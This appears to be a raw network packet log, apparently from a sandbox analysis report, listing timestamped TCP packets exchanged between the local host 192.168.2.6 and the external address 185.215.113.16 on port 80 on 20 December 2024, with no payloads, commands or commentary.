Dec 20, 2024 17:17:47.699385881 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.699428082 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.699450970 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.699462891 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.699495077 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.699673891 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.700175047 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.700217009 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.700252056 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.700263023 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.700290918 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.700510025 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.700958967 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.701001883 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.701026917 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.701190948 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.701205969 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.701231003 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.701726913 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.701772928 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.701792955 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.701946020 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.701961994 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.702008963 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.702545881 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.702589035 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.702662945 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.702673912 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.702708006 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.702843904 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.703346968 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.703440905 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.703450918 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.703474998 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.703502893 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.703684092 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.704075098 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.704113960 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.704195023 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.704206944 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.704243898 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.704406977 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.704875946 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.704921961 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.704981089 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.705002069 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.705163002 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.705200911 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.705683947 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.705753088 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.705771923 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.705782890 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.705811977 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.705977917 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.706465960 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.706501961 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.706532955 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.706547022 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.706644058 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.706820965 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.707276106 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.707335949 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.707364082 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.707504034 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.707516909 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.707545996 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.708065987 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.708085060 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.708096981 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.708116055 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.708143950 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.708266020 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.708834887 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.708890915 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.708971024 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.708983898 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.709018946 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.709156990 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.709636927 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.709676981 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.709688902 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.709697962 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.709733963 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.723447084 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.723468065 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.723480940 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.723510027 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.723653078 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.723664999 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.723704100 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.723891020 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.723902941 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.723937988 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.776768923 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.882926941 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.883066893 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.883110046 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.883162975 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.883174896 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.883208990 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.883394003 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.883411884 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.883425951 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.883439064 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.883450031 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.883507013 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.883985996 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.883997917 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.884011030 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.884021997 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.884033918 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.884046078 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.884057999 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.884084940 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.884124994 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.884716034 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.884743929 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.884759903 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.884773970 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.884779930 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.884793997 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.884798050 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.884809971 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.884831905 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.885523081 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.885535955 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.885546923 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.885557890 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.885565042 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.885571003 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.885582924 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.885584116 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.885612011 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.886353970 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.886368036 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.886379004 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.886389971 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.886410952 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.886439085 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.886576891 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.886589050 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.886620045 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.887203932 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.887217045 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.887228966 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.887239933 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.887250900 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.887273073 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:48.114572048 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:48.234441042 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.564304113 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.564343929 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.564357042 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.564435005 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:48.564654112 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.564734936 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:48.564840078 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.564851999 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.564862013 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.564874887 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.564894915 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:48.564910889 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:48.565486908 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.565500975 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.565543890 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:48.686126947 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.686157942 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.686171055 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.686182976 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.686194897 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.686206102 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.686218977 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.686216116 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:48.686256886 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:48.686676025 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.686721087 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.686777115 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:48.686824083 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.686836958 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.686847925 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.686871052 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:48.686888933 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:48.687110901 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.687139034 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.687151909 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.687176943 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:48.687582016 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.687593937 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.687604904 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.687623024 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.687644958 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.687644958 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:48.687657118 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.687668085 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:48.687695026 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:48.688350916 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.688396931 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.688407898 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.688419104 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.688445091 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:48.688469887 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:48.817992926 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.818017960 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.818125010 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.818137884 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.818147898 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.818160057 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.818171024 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.818182945 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.818196058 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.818197012 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:48.818197012 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:48.818207979 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.818221092 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:48.818232059 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:48.818334103 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.818346024 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.818357944 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.818368912 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.818377018 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:48.818412066 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:48.818444967 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.818458080 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.818507910 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:48.819284916 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.819298983 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.819309950 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.819329023 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.819494009 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:48.819794893 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.819807053 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.819818974 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.819829941 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.819844007 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.819854021 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.819854975 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:48.819885015 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:48.821235895 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.821249008 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.821260929 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.821274042 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.821285009 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.821297884 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.821299076 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:48.821311951 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.821317911 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:48.821324110 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.821333885 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:48.821333885 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.821346998 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.821361065 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:48.821386099 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:48.822313070 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.822325945 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.822336912 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.822349072 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.822359085 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.822372913 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.822376966 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:48.822384119 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.822402954 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:48.870562077 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:48.878716946 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.879002094 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.879096031 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:48.948338032 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.948355913 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.948368073 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.948379993 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.948391914 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.948402882 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.948417902 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.948431015 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:48.948478937 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:48.948853016 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.948864937 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.948875904 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.948914051 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:48.948930979 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:48.949222088 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.949234009 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.949244976 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.949255943 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.949270010 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.949271917 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:48.949281931 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.949287891 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:48.949315071 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:48.949769020 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.949781895 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.949815989 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.949827909 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.949877024 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:48.950088978 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.950100899 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.950155973 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:48.950398922 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.950417042 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.950428009 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.950439930 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.950452089 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.950464964 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.950464964 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:48.950496912 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:48.950525045 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:48.951345921 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.951360941 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.951373100 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.951385021 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.951396942 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.951401949 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:48.951409101 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.951419115 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.951425076 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:48.951445103 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:48.951982021 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.951994896 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.952006102 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.952018023 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.952035904 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:48.952038050 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.952064037 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:48.952095032 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:48.952595949 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.952606916 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.952619076 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.952631950 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.952651978 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.952663898 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.952666044 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:48.952706099 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:48.963321924 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.963479996 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.963493109 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.963504076 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.963515043 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.963526964 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.963541031 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:48.963545084 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:48.963584900 CET	49809	80	192.168.2.6	185.215.113.16
